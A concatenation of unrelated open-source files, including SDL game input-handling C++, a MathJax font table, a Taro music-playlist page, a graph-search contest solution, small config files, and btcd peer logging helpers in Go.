keydown; break; case SDLK_ASTERISK:immediate_keytable[KAST] = keydown; break; case SDLK_LEFTPAREN:immediate_keytable[KLEFTPAREN] = keydown; break; case SDLK_RIGHTPAREN:immediate_keytable[KRIGHTPAREN] = keydown; break; case SDLK_COLON:immediate_keytable[KCOLON] = keydown; break; case SDLK_LESS:immediate_keytable[KLESS] = keydown; break; case SDLK_GREATER:immediate_keytable[KGREATER] = keydown; break; case SDLK_QUESTION:immediate_keytable[KQUESTION] = keydown; break; case SDLK_AT:immediate_keytable[KAT] = keydown; break; case SDLK_CARET:immediate_keytable[KCARET] = keydown; break; case SDLK_UNDERSCORE:immediate_keytable[KUNDERSCORE] = keydown; break; case SDLK_MINUS:immediate_keytable[KMINUS] = keydown; break; case SDLK_PLUS:immediate_keytable[KPLUS] = keydown; break; default: break; } if(getHoldedKey(KSHIFT)) { if(getPressedKey(KBACKQUOTE)) immediate_keytable[KTILDE] = keydown; if(getPressedKey(KNUM1)) immediate_keytable[KEXCLAIM] = keydown; if(getPressedKey(KNUM2)) immediate_keytable[KAT] = keydown; if(getPressedKey(KNUM3)) immediate_keytable[KHASH] = keydown; if(getPressedKey(KNUM4)) immediate_keytable[KDOLLAR] = keydown; if(getPressedKey(KNUM5)) immediate_keytable[KPERCENT] = keydown; if(getPressedKey(KNUM6)) immediate_keytable[KCARET] = keydown; if(getPressedKey(KNUM7)) immediate_keytable[KAMPERSAND] = keydown; if(getPressedKey(KNUM8)) immediate_keytable[KAST] = keydown; if(getPressedKey(KNUM9)) immediate_keytable[KLEFTPAREN] = keydown; if(getPressedKey(KNUM0)) immediate_keytable[KRIGHTPAREN] = keydown; if(getPressedKey(KMINUS)) immediate_keytable[KUNDERSCORE] = keydown; if(getPressedKey(KEQUAL)) immediate_keytable[KPLUS] = keydown; if(getPressedKey(KBACKSLASH)) immediate_keytable[KLINE] = keydown; if(getPressedKey(KLEFTBRACKET)) immediate_keytable[KLEFTBRACE] = keydown; if(getPressedKey(KRIGHTBRACKET)) immediate_keytable[KRIGHTBRACE] = keydown; if(getPressedKey(KSEMICOLON)) immediate_keytable[KCOLON] = keydown; if(getPressedKey(KQUOTE)) immediate_keytable[KDBLQUOTE] = keydown; if(getPressedKey(KCOMMA)) immediate_keytable[KLESS] = keydown; if(getPressedKey(KPERIOD)) immediate_keytable[KGREATER] = keydown; if(getPressedKey(KSLASH)) immediate_keytable[KQUESTION] = keydown; } return passSDLEventVec; } #ifdef MOUSEWRAPPER static bool checkMousewrapperKey(int& key); #endif /** * \brief returns if certain key is being held * \param key the key to be held */ bool CInput::getHoldedKey(int key) { #ifdef MOUSEWRAPPER if(!checkMousewrapperKey(key)) return true; #endif if(immediate_keytable[key]) return true; return false; } /** * \brief returns if certain key is being pressed * \param key the key to be pressed */ bool CInput::getPressedKey(int key) { #ifdef MOUSEWRAPPER if(!checkMousewrapperKey(key)) return true; #endif if(firsttime_immediate_keytable[key]) { firsttime_immediate_keytable[key] = false; return true; } return false; } /** * \brief returns if certain key is being held for msecs * \param key the key to be pressed * \param msec Milliseconds the key can be held before it is a pulse */ bool CInput::getPulsedKey(int key, int msec) { if(immediate_keytable[key]) { bool value = true; if(m_cmdpulse % msec != 0) { value = false; } m_cmdpulse++; return value; } if(!immediate_keytable[key] && last_immediate_keytable[key]) m_cmdpulse = 0; return false; } /** * \brief normally called, when a save game or high score entry is being made. It will return a character that was typed. * \return character as std::string, which was entered */ std::string CInput::getPressedTypingKey(void) { int i; std::string buf; for(i=KA ; i<=KZ ; i++) { if (getHoldedKey(KSHIFT) && getPressedKey(i)) { buf = 'A' + i - KA; return buf; } else if(getPressedKey(i)) { buf = 'a' + i - KA; return buf; } } for(i=KSPACE ; i<=KAT ; i++) { if(getPressedKey(i)) { buf = 32 + i - KSPACE; return buf; } } for(i=KLEFTBRACKET ; i<=KBACKQUOTE ; i++) { if(getPressedKey(i)) { buf = '[' + i - KLEFTBRACKET; return buf; } } for(i=KLEFTBRACE ; i<=KTILDE ; i++) { if(getPressedKey(i)) { buf = '{' + i - KLEFTBRACE; return buf; } } return buf; } /** * \brief returns if a numerical key was pressed * \return number as std::string, which was entered */ std::string CInput::getPressedNumKey(void) { int i; std::string buf; for(i=KNUM0 ; i<=KNUM9 ; i++) { if(getPressedKey(i)) { buf = '0' + i - KNUM0; return buf; } } return buf; } /** * \brief tells if the pressed key was for typing * \return true if yes, and false for no. */ bool CInput::getPressedIsTypingKey(void) { int i; if(getHoldedKey(KSHIFT)) return true; else { for(i=KSPACE ; i<=KAT ; i++) { if(getHoldedKey(i)) return true; } for(i=KLEFTBRACKET ; i<=KTILDE ; i++) { if(getHoldedKey(i)) return true; } return false; } } bool CInput::getPressedIsNumKey(void) { int i; for(i=KNUM0 ; i<=KNUM9 ; i++) { if(getHoldedKey(i)) return true; } return false; } bool CInput::getPressedAnyKey(void) { for(unsigned int key=0 ; key<KEYTABLE_SIZE ; key++) { if(firsttime_immediate_keytable[key]) { firsttime_immediate_keytable[key] = false; return true; } } return false; } bool CInput::getHoldedCommand(int command) { bool retval = false; for( int player=0; player<NUM_INPUTS ; player++ ) retval |= getHoldedCommand(player, command); return retval; } bool CInput::isJoystickAssgmnt(const int player, const int command) { auto &input = mInputCommands[player]; return (input[command].joyeventtype == ETYPE_JOYAXIS); } bool CInput::getHoldedCommand(int player, int command) { auto &input = mInputCommands[player]; return input[command].active; } int CInput::getJoyValue(const int player, const int command, const bool negative) { auto &input = mInputCommands[player]; int newval = input[command].joymotion; newval = (newval*101)>>15; newval = newval<0 ? -newval : newval; if( newval > 100 ) newval = 100; newval = negative ? -newval : newval; return newval; } bool CInput::getPressedCommand(int command) { bool retval = false; for(int player=0; player<NUM_INPUTS ; player++ ) { retval |= getPressedCommand(player, command); } return retval; } bool CInput::getPressedCommand(int player, int command) { auto &inputFromPlayer = mInputCommands[player]; if(inputFromPlayer[command].firsttimeactive) { inputFromPlayer[command].firsttimeactive = false; return true; } return false; } bool CInput::getPulsedCommand(int command, int msec) { bool retval = false; for(int player=0; player<NUM_INPUTS ; player++ ) retval |= getPulsedCommand(player, command, msec); return retval; } bool CInput::getPulsedCommand(int player, int command, int msec) { auto &input = mInputCommands[player]; if(input[command].active) { bool value = true; if(m_cmdpulse % msec != 0) { value = false; } m_cmdpulse++; return value; } if(!input[command].active && input[command].lastactive ) m_cmdpulse = 0; return false; } bool CInput::mouseClicked() { // Check event queue for the clicked button std::deque< std::shared_ptr<CEvent> >::iterator it = m_EventList.begin(); for( ; it != m_EventList.end() ; it++ ) { if( PointingDevEvent *mouseevent = dynamic_cast<PointingDevEvent*> (it->get()) ) { // Here we check if the mouse-cursor/Touch entry clicked on our Button if(mouseevent->Type == PDE_BUTTONUP) { m_EventList.erase(it); return true; } } } return false; } bool CInput::getPressedAnyCommand() { bool retval = false; for(int player=0 ; player<NUM_INPUTS ; player++) retval |= getPressedAnyCommand(player); return retval; } bool CInput::getPressedAnyCommand(int player) { for(int i=0 ; i<MAX_COMMANDS ; i++) if(getPressedCommand(player,i)) return true; return false; } bool CInput::getPressedAnyButtonCommand(const int player) { for(int i=IC_JUMP ; i<MAX_COMMANDS ; i++) if(getPressedCommand(player,i)) return true; return false; } bool CInput::getPressedAnyButtonCommand() { bool retval = false; for(int player=0 ; player<NUM_INPUTS ; player++) retval |= getPressedAnyButtonCommand(player); return retval; } /** * \brief This will forget every command that was triggered */ void CInput::flushCommands(void) { for(int i=0 ; i<NUM_INPUTS ; i++) for(int j=0 ; j<MAX_COMMANDS ; j++) flushCommand( i, j ); } void CInput::flushCommand(int command) { for( int player=0; player<NUM_INPUTS ; player++ ) flushCommand(player, command); } void CInput::flushCommand(int player, int command) { auto &input = mInputCommands[player]; input[command].active = input[command].lastactive = input[command].firsttimeactive = false; } /** * \brief this will forget every key that was typed before */ void CInput::flushKeys(void) { memset(immediate_keytable,false,KEYTABLE_SIZE); memset(last_immediate_keytable,false,KEYTABLE_SIZE); memset(firsttime_immediate_keytable,false,KEYTABLE_SIZE); } /** * @brief flushEvent This will clear the whole event list */ void CInput::flushEvents() { m_EventList.clear(); } #define KSHOWHIDECTRLS (-10) #if SDL_VERSION_ATLEAST(2, 0, 0) #if defined(MOUSEWRAPPER) #if TARGET_OS_IPHONE || TARGET_IPHONE_SIMULATOR static const int w = 480, h = 320; static TouchButton* getPhoneButtons(stInputCommand InputCommand[NUM_INPUTS][MAX_COMMANDS]) { static TouchButton phoneButtons[] = { { &InputCommand[0][IC_LEFT], KLEFT, 0, h*5/8, w / 6, h / 4}, { &InputCommand[0][IC_UPPERLEFT], -1, 0, h / 2, w / 6, h / 8, true}, { &InputCommand[0][IC_UP], KUP, w / 6, h*2/4, w / 6, h / 4}, { &InputCommand[0][IC_UPPERRIGHT], -1, w / 3, h / 2, w / 6, h / 8, true}, { &InputCommand[0][IC_RIGHT], KRIGHT, w / 3, h*5/8, w / 6, h / 4}, { &InputCommand[0][IC_LOWERRIGHT], -1, w / 3, h*7/8, w / 6, h / 8, true}, { &InputCommand[0][IC_DOWN], KDOWN, w / 6, h*3/4, w / 6, h / 4}, { &InputCommand[0][IC_LOWERLEFT], -1, 0, h*7/8, w / 6, h / 8, true}, { &InputCommand[0][IC_JUMP], KCTRL, w / 2, h*2/3, w / 6, h / 3}, { &InputCommand[0][IC_POGO], KALT, w*2/3, h*2/3, w / 6, h / 3}, { &InputCommand[0][IC_FIRE], KSPACE, w*5/6, h*2/3, w / 6, h / 3}, { &InputCommand[0][IC_RUN], KSHIFT, w*5/6, h*2/3, w / 6, h / 3}, { &InputCommand[0][IC_BACK], KQUIT, 0, 0, w / 6, h / 6}, { &InputCommand[0][IC_STATUS], KENTER, 5*w/6, h / 6, w / 6, h / 6}, { &InputCommand[0][IC_HELP], KF1, 0, h / 6, w / 6, h / 6}, { NULL, KSHOWHIDECTRLS, 5*w/6, 0, w / 6, h / 6}, }; return phoneButtons; } #endif #endif typedef std::set<int> MouseIndexSet; #if TARGET_OS_IPHONE || TARGET_IPHONE_SIMULATOR static const int phoneButtonN = 15; static Uint32 phoneButtonLasttime[phoneButtonN] = {0,0,0,0,0,0,0,0,0,0,0,0,0,0,0}; static MouseIndexSet phoneButton_MouseIndex[phoneButtonN]; static TouchButton* getPhoneButton(int x, int y, TouchButton phoneButtons[]) { for(int i = 0; i < phoneButtonN; ++i) { TouchButton& b = phoneButtons[i]; if(b.isInside(x, y)) return &b; } return NULL; } #endif #ifdef MOUSEWRAPPER static bool checkMousewrapperKey(int& key) { switch(key) { case KLEFT: case KRIGHT: case KUP: case KDOWN: case KENTER: case KSPACE: case KQUIT: case KF3: return true; } if(key == KY) { key = KENTER; return true; } if(key == KN) { key = KQUIT; return true; } //errors << "checkMousewrapperKey: key " << key << " not useable for iPhone" << endl; //return false; // just too many keys ... return true; } #endif #ifdef MOUSEWRAPPER void CInput::processMouse() { /* TouchButton* phoneButtons = getPhoneButtons(mInputCommands); for(int i = 0; i < phoneButtonN; ++i) { bool down = phoneButton_MouseIndex[i].size() > 0; TouchButton& b = phoneButtons[i]; if(b.cmd) b.cmd->active = down; // handle immediate keys if(b.immediateIndex >= 0) immediate_keytable[b.immediateIndex] = down; }*/ } #endif void CInput::processMouse(SDL_Event& ev) { SDL_Rect screenRect; //SDL_Touch* touch = SDL_GetTouch(ev.tfinger.touchId); SDL_Finger* touch = SDL_GetTouchFinger(ev.tfinger.touchId, 0); int x, y, dx, dy, w, h; if(SDL_GetDisplayBounds(0, &screenRect) == 0) { w = screenRect.w; h = screenRect.h; } if(touch == nullptr) return; //The touch has been removed //float fx = ((float)ev.tfinger.x)/touch->xres; //float fy = ((float)ev.tfinger.y)/touch->yres; float fx = ((float)ev.tfinger.x)/touch->x; float fy = ((float)ev.tfinger.y)/touch->y; x = (int)(fx*w); y = (int)(fy*h); switch(ev.type) { case SDL_FINGERDOWN: processMouse(x, y, true, ev.tfinger.fingerId); break; case SDL_FINGERUP: processMouse(x, y, false, ev.tfinger.fingerId); break; case SDL_FINGERMOTION: //float fdx = ((float)ev.tfinger.dx)/touch->xres; //float fdy = ((float)ev.tfinger.dy)/touch->yres; float fdx = (float(ev.tfinger.dx))/touch->x; float fdy = (float(ev.tfinger.dy))/touch->y; dx = int(fdx*w); dy = int(fdy*h); processMouse(x - dx, y - dy, false, ev.tfinger.fingerId); processMouse(x, y, true, ev.tfinger.fingerId); break; } } void CInput::processMouse(int, int, bool, int) { /* const GsRect<int> pt(x,y); if(down) { // If Virtual gamepad takes control... if(gVideoDriver.VGamePadEnabled() && mpVirtPad && mpVirtPad->active() ) { transMouseRelCoord(Pos, pt, activeArea, tiltedScreen); if(!mpVirtPad->mouseDown(Pos)) { m_EventList.add( new PointingDevEvent( Pos, PDE_BUTTONDOWN ) ); gPointDevice.mPointingState.mActionButton = 1; gPointDevice.mPointingState.mPos = Pos; } } else { transMouseRelCoord(Pos, pt, activeArea, tiltedScreen); m_EventList.add( new PointingDevEvent( Pos, PDE_BUTTONDOWN ) ); gPointDevice.mPointingState.mActionButton = 1; gPointDevice.mPointingState.mPos = Pos; } } else { if (gVideoDriver.VGamePadEnabled() && mpVirtPad && mpVirtPad->active()) { transMouseRelCoord(Pos, pt, activeArea, tiltedScreen); if (!mpVirtPad->mouseUp(Pos)) { passSDLEventVec = true; m_EventList.add(new PointingDevEvent(Pos, PDE_BUTTONUP)); gPointDevice.mPointingState.mActionButton = 0; gPointDevice.mPointingState.mPos = Pos; } } else { passSDLEventVec = true; transMouseRelCoord(Pos, pt, activeArea, tiltedScreen); m_EventList.add(new PointingDevEvent(Pos, PDE_BUTTONUP)); gPointDevice.mPointingState.mActionButton = 0; gPointDevice.mPointingState.mPos = Pos; } }*/ #ifdef MOUSEWRAPPER TouchButton* phoneButtons = getPhoneButtons(InputCommand); for(int i = 0; i < phoneButtonN; ++i) { TouchButton& b = phoneButtons[i]; if(b.isInside(x, y)) { phoneButtonLasttime[i] = down ? SDL_GetTicks() : 0; if(down) phoneButton_MouseIndex[i].insert(mouseindex); else phoneButton_MouseIndex[i].erase(mouseindex); break; } } #endif } #ifdef USE_OPENGL /* static void drawButton(TouchButton& button, bool down) { // similar mysterious constant as in renderTexture/initGL //glViewport(0,255,w,h); float w = 480.0f, h = 320.0f; int crop = 2; float x1 = float(button.x + crop) / w; float x2 = float(button.x+button.dim.x - crop) / w; float y1 = float(button.y + crop) / h; float y2 = float(button.y+button.h - crop) / h; GLfloat vertices[] = { x1, y1, x2, y1, x2, y2, x1, y2, }; //Render the vertices by pointing to the arrays. glEnableClientState(GL_VERTEX_ARRAY); glVertexPointer(2, GL_FLOAT, 0, vertices); glEnable(GL_BLEND); if(down) glColor4f(0,0,0, 0.5); else glColor4f(0,0,0, 0.2); glBlendFunc(GL_ONE, GL_ONE_MINUS_SRC_ALPHA); //glBlendFunc(GL_ONE, GL_ZERO); //Finally draw the arrays. glDrawArrays(GL_TRIANGLE_FAN, 0, 4); glDisableClientState(GL_VERTEX_ARRAY); glDisable(GL_BLEND); } */ #endif #endif void CInput::renderOverlay() { #ifdef USE_OPENGL // only ogl supported yet (and probably worth) #if defined(MOUSEWRAPPER) static bool showControls = true; static bool buttonShowHideCtrlWasDown = false; TouchButton* phoneButtons = getPhoneButtons(InputCommand); for(int i = phoneButtonN - 1; i >= 0; --i) { TouchButton& b = phoneButtons[i]; bool down = phoneButton_MouseIndex[i].size() > 0; if(i==0) { if (phoneButton_MouseIndex[1].size() > 0 || phoneButton_MouseIndex[7].size() > 0) down = true; } if(i==2 || i==4 || i == 6) { if (phoneButton_MouseIndex[i-1].size() > 0 || phoneButton_MouseIndex[i+1].size() > 0) down = true; } if((showControls && !b.invisible) || b.immediateIndex == KSHOWHIDECTRLS) drawButton(b, down); if(b.immediateIndex == KSHOWHIDECTRLS) { if(buttonShowHideCtrlWasDown && !down) showControls = !showControls; buttonShowHideCtrlWasDown = down; } } #endif #endif } /** * \brief flushes all the input events */ void CInput::flushAll() { flushKeys(); flushCommands(); flushEvents(); } /** * \brief shuts down the input driver. */ void CInput::shutdown() { // Shutdown Joysticks while(!mp_Joysticks.empty()) { SDL_JoystickClose(mp_Joysticks.back()); mp_Joysticks.pop_back(); } } bool CInput::readSDLEventVec(std::vector<SDL_Event> &evVec) { SDL_SemWait( mpPollSem ); if(mSDLEventVec.empty()) { SDL_SemPost( mpPollSem ); return false; } evVec = mSDLEventVec; mSDLEventVec.clear(); SDL_SemPost( mpPollSem ); return true; } void CInput::pushBackButtonEventExtEng() { SDL_SemWait( mpPollSem ); if(mBackEventBuffer.empty()) { SDL_SemPost( mpPollSem ); return; } // Take one event and send a down and up event if(!mBackEventBuffer.empty()) { SDL_Event ev = mBackEventBuffer.front(); ev.type = SDL_KEYDOWN; mSDLEventVec.push_back(ev); ev.type = SDL_KEYUP; mSDLEventVec.push_back(ev); } mBackEventBuffer.clear(); SDL_SemPost( mpPollSem ); }
{ "pile_set_name": "Github" }
/* * /MathJax/jax/output/HTML-CSS/fonts/STIX/General/Bold/BoxDrawing.js * * Copyright (c) 2009-2018 The MathJax Consortium * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS["STIXGeneral-bold"],{9472:[340,-267,708,-11,719],9474:[910,303,696,312,385],9484:[340,303,708,318,720],9488:[340,303,708,-11,390],9492:[910,-267,708,318,720],9496:[910,-267,708,-11,390],9500:[910,303,708,318,720],9508:[910,303,708,-11,390],9516:[340,303,708,-11,719],9524:[910,-267,708,-11,719],9532:[910,303,708,-11,719],9552:[433,-174,708,-11,719],9553:[910,303,708,225,484],9554:[433,303,708,318,720],9555:[340,303,708,225,720],9556:[433,303,708,225,719],9557:[433,303,708,-11,390],9558:[340,303,708,-11,483],9559:[433,303,708,-11,483],9560:[910,-174,708,318,720],9561:[910,-267,708,225,720],9562:[910,-174,708,225,719],9563:[910,-174,708,-11,390],9564:[910,-267,708,-11,483],9565:[910,-174,708,-11,483],9566:[910,303,708,318,720],9567:[910,303,708,225,720],9568:[910,303,708,225,720],9569:[910,303,708,-11,390],9570:[910,303,708,-11,483],9571:[910,303,708,-11,483],9572:[433,303,708,-11,719],9573:[340,303,708,-11,719],9574:[433,303,708,-11,719],9575:[910,-174,708,-11,719],9576:[910,-267,708,-11,719],9577:[910,-174,708,-11,719],9578:[910,303,708,-11,719],9579:[910,303,708,-11,719],9580:[910,303,708,-11,719]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/General/Bold/BoxDrawing.js");
{ "pile_set_name": "Github" }
import Taro, { Component } from '@tarojs/taro' import { View, ScrollView, Image } from '@tarojs/components' import { connect } from '@tarojs/redux' import { getPlayList } from '../../services' import eventEmitter from '../../utils/eventEmitter' import * as Events from '../../constants/event-types' import CommonBar from '../../components/commonBar/index' import PlayDetail from '../playDetail/playDetail' import { fetchSongById } from '../../actions' import Loading from '../../components/loading' import './listDetail.scss' interface ListDetailProps { main: StoreState.MainState; onFetchSongById: (payload: { id: number, restore: boolean }) => any } interface ListDetailStates { listData: any; scrollState: boolean, loading: boolean } const mapStateToProps = ({ main }) => ({ main }) const mapDispatchToProps = ({ onFetchSongById: fetchSongById }) @connect(mapStateToProps, mapDispatchToProps) class ListDetail extends Component<ListDetailProps, ListDetailStates> { static options = { addGlobalClass: true } constructor() { super(...arguments) this.state = { listData: {}, scrollState: false, loading: true } } componentWillPreload(params) { return getPlayList({ id: params.id }) } componentDidMount() { this.fetchListDetail() } fetchListDetail() { this.$preloadData.then(res => { if (res.code === 200) { this.setState({ listData: res.playlist, loading: false }) } }) } playSongById(id, restore) { this.props.onFetchSongById({ id, restore }) } scroll(event) { let top = event.detail.scrollTop if (top > 200) { if (!this.state.scrollState) { this.setState({ scrollState: true, }) } } else { if (this.state.scrollState) { this.setState({ scrollState: false, }) } } } goBack() { Taro.navigateBack() // Taro.redirectTo({url: '/pages/index/index'}) } saveToList() { let tracks = this.state.listData.tracks || [] let item: Array<StoreState.playItemState> = [] tracks.map((data) => { item.push({ id: data.id, name: data.name || '', ar: data.ar[0].name || '', cover: data.al.picUrl, from: 'online' }) }) eventEmitter.trigger(Events.BATCHADD, item) } render() { let { listData, loading } = this.state let tracks = listData.tracks || [] let currentSong = this.props.main.currentSong || {} let winHeight = Taro.getSystemInfoSync().windowHeight if (loading) { return <Loading/> } return ( <View className='listDetail-wrapper wrapper'> {/* <View className={`windowsHead ${scrollState ? 'windowsHead-shadow' : 'windowsHead-transparent'}`}> */} {/* <View className='back iconfont icon-fanhui' onClick={this.goBack.bind(this)}></View> */} {/* </View> */} <ScrollView scrollY scrollTop='0' onScroll={this.scroll} className='wrap' style={{ height: `${winHeight}px` }}> <View className='listCoverBanner'> <View className='play iconfont icon-tianjiaqiyedangan' onClick={this.saveToList.bind(this)}></View> <View className='cover'> <Image src={listData.coverImgUrl || ''} mode='widthFix'></Image> </View> </View> <View className='listInfo'> <View className='name'>{listData.name || ''}</View> <View className='desc'>{listData.description || ''}</View> </View> <View className='song-list'> { tracks.map((data, k) => { return ( <View className={`song ${currentSong.id === data.id ? 'song-active' : ''}`} key={k} onClick={this.playSongById.bind(this, data.id)}> <View className='key'>{k + 1}</View> <View className='r'> <View className='name'>{data.name || ''}</View> <View className='singer'>{data.ar[0].name || ''}</View> </View> </View> ) }) } </View> </ScrollView> <PlayDetail /> <CommonBar /> </View> ) } } export default ListDetail
{ "pile_set_name": "Github" }
#include <bits/stdc++.h> using namespace std; #define MAXN 209 bool vis[MAXN][MAXN]; int adj[MAXN][MAXN], L[MAXN]; int N, K; set<int> ans; void dfs(int u, int k) { if (vis[u][k]) return; vis[u][k] = true; if (k == K+1) ans.insert(u); else for(int v=1; v<=N; v++) { if (adj[u][v] == L[k]) dfs(v, k+1); } } int main() { freopen("input.txt", "r", stdin); freopen("output.txt", "w", stdout); scanf("%d", &N); for(int i=1; i<=N; i++){ for(int j=1; j<=N; j++){ scanf("%d", &adj[i][j]); } } scanf("%d", &K); for(int k=1; k<=K; k++){ scanf("%d", &L[k]); } memset(&vis, false, sizeof vis); dfs(1, 1); printf("%u\n", ans.size()); for(set<int>::iterator it = ans.begin(); it!=ans.end(); it++) { printf("%d ", *it); } printf("\n"); fclose(stdin); fclose(stdout); return 0; }
{ "pile_set_name": "Github" }
/* the default is the directory name, but in case the directory is named differently we better enforce it here*/ rootProject.name = "kscript"
{ "pile_set_name": "Github" }
var convert = require('./convert'), func = convert('sample', require('../sample'), require('./_falseOptions')); func.placeholder = require('./placeholder'); module.exports = func;
{ "pile_set_name": "Github" }
<manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.lukedeighton.wheelview"> <application android:allowBackup="true" android:label="@string/app_name"> </application> </manifest>
{ "pile_set_name": "Github" }
[Packed 2.0 3.0 4 5 6.0 7,Packed 2.0 3.0 4 5 6.0 7,Packed 2.0 3.0 4 5 5.0 6,Packed 3.0 4.0 5 6 6.0 7,Packed 4.0 5.0 6 7 7.0 8,Packed 5.0 6.0 7 8 8.0 9] [Packed 2.0 3.0 4 5 6.0 7,Packed 2.0 3.0 4 5 6.0 7,Packed 2.0 3.0 4 5 5.0 6,Packed 3.0 4.0 5 6 6.0 7,Packed 4.0 5.0 6 7 7.0 8,Packed 5.0 6.0 7 8 8.0 9] [Packed 2.0 3.0 4 5 6.0 7,Packed 2.0 3.0 4 5 6.0 7,Packed 2.0 3.0 4 5 5.0 6,Packed 3.0 4.0 5 6 6.0 7,Packed 4.0 5.0 6 7 7.0 8,Packed 5.0 6.0 7 8 8.0 9] [Packed 2.0 3.0 4 5 6.0 7,Packed 2.0 3.0 4 5 6.0 7,Packed 2.0 3.0 4 5 5.0 6,Packed 3.0 4.0 5 6 6.0 7,Packed 4.0 5.0 6 7 7.0 8,Packed 5.0 6.0 7 8 8.0 9]
{ "pile_set_name": "Github" }
{ "images" : [ { "idiom" : "universal", "scale" : "1x" }, { "idiom" : "universal", "filename" : "[email protected]", "scale" : "2x" }, { "idiom" : "universal", "filename" : "[email protected]", "scale" : "3x" } ], "info" : { "version" : 1, "author" : "xcode" } }
{ "pile_set_name": "Github" }
// Copyright (c) 2015-2016 The btcsuite developers // Use of this source code is governed by an ISC // license that can be found in the LICENSE file. package peer import ( "fmt" "strings" "time" "github.com/btcsuite/btcd/chaincfg/chainhash" "github.com/btcsuite/btcd/txscript" "github.com/btcsuite/btcd/wire" "github.com/btcsuite/btclog" ) const ( // maxRejectReasonLen is the maximum length of a sanitized reject reason // that will be logged. maxRejectReasonLen = 250 ) // log is a logger that is initialized with no output filters. This // means the package will not perform any logging by default until the caller // requests it. var log btclog.Logger // The default amount of logging is none. func init() { DisableLog() } // DisableLog disables all library log output. Logging output is disabled // by default until UseLogger is called. func DisableLog() { log = btclog.Disabled } // UseLogger uses a specified Logger to output package logging info. func UseLogger(logger btclog.Logger) { log = logger } // LogClosure is a closure that can be printed with %v to be used to // generate expensive-to-create data for a detailed log level and avoid doing // the work if the data isn't printed. type logClosure func() string func (c logClosure) String() string { return c() } func newLogClosure(c func() string) logClosure { return logClosure(c) } // directionString is a helper function that returns a string that represents // the direction of a connection (inbound or outbound). func directionString(inbound bool) string { if inbound { return "inbound" } return "outbound" } // formatLockTime returns a transaction lock time as a human-readable string. func formatLockTime(lockTime uint32) string { // The lock time field of a transaction is either a block height at // which the transaction is finalized or a timestamp depending on if the // value is before the lockTimeThreshold. When it is under the // threshold it is a block height. if lockTime < txscript.LockTimeThreshold { return fmt.Sprintf("height %d", lockTime) } return time.Unix(int64(lockTime), 0).String() } // invSummary returns an inventory message as a human-readable string. func invSummary(invList []*wire.InvVect) string { // No inventory. invLen := len(invList) if invLen == 0 { return "empty" } // One inventory item. if invLen == 1 { iv := invList[0] switch iv.Type { case wire.InvTypeError: return fmt.Sprintf("error %s", iv.Hash) case wire.InvTypeWitnessBlock: return fmt.Sprintf("witness block %s", iv.Hash) case wire.InvTypeBlock: return fmt.Sprintf("block %s", iv.Hash) case wire.InvTypeWitnessTx: return fmt.Sprintf("witness tx %s", iv.Hash) case wire.InvTypeTx: return fmt.Sprintf("tx %s", iv.Hash) } return fmt.Sprintf("unknown (%d) %s", uint32(iv.Type), iv.Hash) } // More than one inv item. return fmt.Sprintf("size %d", invLen) } // locatorSummary returns a block locator as a human-readable string. func locatorSummary(locator []*chainhash.Hash, stopHash *chainhash.Hash) string { if len(locator) > 0 { return fmt.Sprintf("locator %s, stop %s", locator[0], stopHash) } return fmt.Sprintf("no locator, stop %s", stopHash) } // sanitizeString strips any characters which are even remotely dangerous, such // as html control characters, from the passed string. It also limits it to // the passed maximum size, which can be 0 for unlimited. When the string is // limited, it will also add "..." to the string to indicate it was truncated. func sanitizeString(str string, maxLength uint) string { const safeChars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXY" + "Z01234567890 .,;_/:?@" // Strip any characters not in the safeChars string removed. str = strings.Map(func(r rune) rune { if strings.ContainsRune(safeChars, r) { return r } return -1 }, str) // Limit the string to the max allowed length. if maxLength > 0 && uint(len(str)) > maxLength { str = str[:maxLength] str = str + "..." } return str } // messageSummary returns a human-readable string which summarizes a message. // Not all messages have or need a summary. This is used for debug logging. func messageSummary(msg wire.Message) string { switch msg := msg.(type) { case *wire.MsgVersion: return fmt.Sprintf("agent %s, pver %d, block %d", msg.UserAgent, msg.ProtocolVersion, msg.LastBlock) case *wire.MsgVerAck: // No summary. case *wire.MsgGetAddr: // No summary. case *wire.MsgAddr: return fmt.Sprintf("%d addr", len(msg.AddrList)) case *wire.MsgPing: // No summary - perhaps add nonce. case *wire.MsgPong: // No summary - perhaps add nonce. case *wire.MsgAlert: // No summary. case *wire.MsgMemPool: // No summary. case *wire.MsgTx: return fmt.Sprintf("hash %s, %d inputs, %d outputs, lock %s", msg.TxHash(), len(msg.TxIn), len(msg.TxOut), formatLockTime(msg.LockTime)) case *wire.MsgBlock: header := &msg.Header return fmt.Sprintf("hash %s, ver %d, %d tx, %s", msg.BlockHash(), header.Version, len(msg.Transactions), header.Timestamp) case *wire.MsgInv: return invSummary(msg.InvList) case *wire.MsgNotFound: return invSummary(msg.InvList) case *wire.MsgGetData: return invSummary(msg.InvList) case *wire.MsgGetBlocks: return locatorSummary(msg.BlockLocatorHashes, &msg.HashStop) case *wire.MsgGetHeaders: return locatorSummary(msg.BlockLocatorHashes, &msg.HashStop) case *wire.MsgHeaders: return fmt.Sprintf("num %d", len(msg.Headers)) case *wire.MsgReject: // Ensure the variable length strings don't contain any // characters which are even remotely dangerous such as HTML // control characters, etc. Also limit them to sane length for // logging. rejCommand := sanitizeString(msg.Cmd, wire.CommandSize) rejReason := sanitizeString(msg.Reason, maxRejectReasonLen) summary := fmt.Sprintf("cmd %v, code %v, reason %v", rejCommand, msg.Code, rejReason) if rejCommand == wire.CmdBlock || rejCommand == wire.CmdTx { summary += fmt.Sprintf(", hash %v", msg.Hash) } return summary } // No summary for other messages. return "" }
{ "pile_set_name": "Github" }
